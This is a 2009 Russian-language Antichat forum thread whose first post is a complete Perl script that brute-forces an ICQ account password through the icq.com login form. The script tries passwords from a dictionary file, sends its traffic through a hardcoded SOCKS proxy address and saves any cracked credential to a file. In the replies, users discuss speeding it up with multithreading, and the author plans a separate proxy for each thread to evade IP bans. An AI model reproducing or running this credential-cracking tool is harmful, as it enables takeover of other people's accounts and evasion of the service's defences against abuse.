Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
новый медленный icq bruteforce |
26.09.2009, 23:40
|
|
Участник форума
Регистрация: 05.11.2008
Сообщений: 105
Провел на форуме:
292722
Репутация:
71
|
|
новый медленный icq bruteforce
в виду того что, не нашел брута для linux, да еще и написанного на perl было решено написать с нуля. своей целью выбрал www.icq.com и вот что получилось:
Код:
#!/usr/bin/perl -lw
#
# bice.pl
#
# http icq bruteforce
#
# by demond
#
use strict;
use WWW::Mechanize;
use LWP::Protocol::socks;
$\ = $/;
my $version = '0.1';
my $uin = shift || "xxxxxxxx";
my $dict = shift || "./dict.txt";
my $socks = "socks://97.92.74.118:14523";
open(PASS, $dict) or or die "can't open file with passwords:$!";
while(<PASS>)
{
my $result = brute($uin,$_,$socks);
if($result)
{
open(F, ">>biceresult.txt") or die "can't open result file:$!";
print F $result;
close F;
last;
}
}
close PASS;
sub brute
{
my $uin = shift;
my $password = shift;
my $socks = shift;
my $mech = WWW::Mechanize->new();
$mech->agent_alias( 'Windows IE 6' );
$mech->proxy([qw(http https)] => $socks) if($socks);
$mech->cookie_jar(HTTP::Cookies->new());
$mech->get("https://www.icq.com/karma/login_page.php");
my $res = $mech->submit_form(
form_name => 'login',
fields => {
uin_email => $uin,
password => $password
}
);
die "[-] catn't submit login form" unless $res->is_success;
my @content = $mech->content();
for (@content)
{
if($_=~ /<body onload=\'go\(\"http\:\/\/www\.icq\.com\"\)\'>/img) {return "#".$uin."/".$password;}
else {return};
}
}
Естественно работает он медленно! Но как его ускорить я пока не знаю.
Надо еще добавить выбор сокса из списка (думаю сделать рандомный выбор из имеющегося списка). Есть еще какие-нибудь предложения по добавлению функциональности? или это дешевле "выбросить на помойку"? Может кто-то подскажет стоящий брут, удовлетворяющий моим требования.
PS писал для подбора пароля к одному единственному uin, хозяин которого просто забыл его, поэтому выбора uin нет. |
|
|
26.09.2009, 23:49
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214
Репутация:
3171
|
|
Я конечно не спец кода на перле,но разве перл не поддерживает потоки? И мне почему то кажеться что у ТС их не используеться :*(
|
|
|
|
27.09.2009, 02:28
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739
Репутация:
921
|
|
1) ОЧЕНЬ медленно без многопточности
2) а с многопотосностью там вроде бан по ип...или капча..не помню уже
делаем вывод - НА**Й никому не надо
|
|
|
|
27.09.2009, 14:37
|
|
Участник форума
Регистрация: 05.11.2008
Сообщений: 105
Провел на форуме:
292722
Репутация:
71
|
|
многопоточность это мысль. можно для каждого потока использовать свой socks, что должно предотвратить блокировку оп ip.
|
|
|
|
27.09.2009, 22:14
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857
Репутация:
504
|
|
http://forum.antichat.ru/thread107524.html
хоть и про пхп-"кодеров", но как бэ намекает...
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
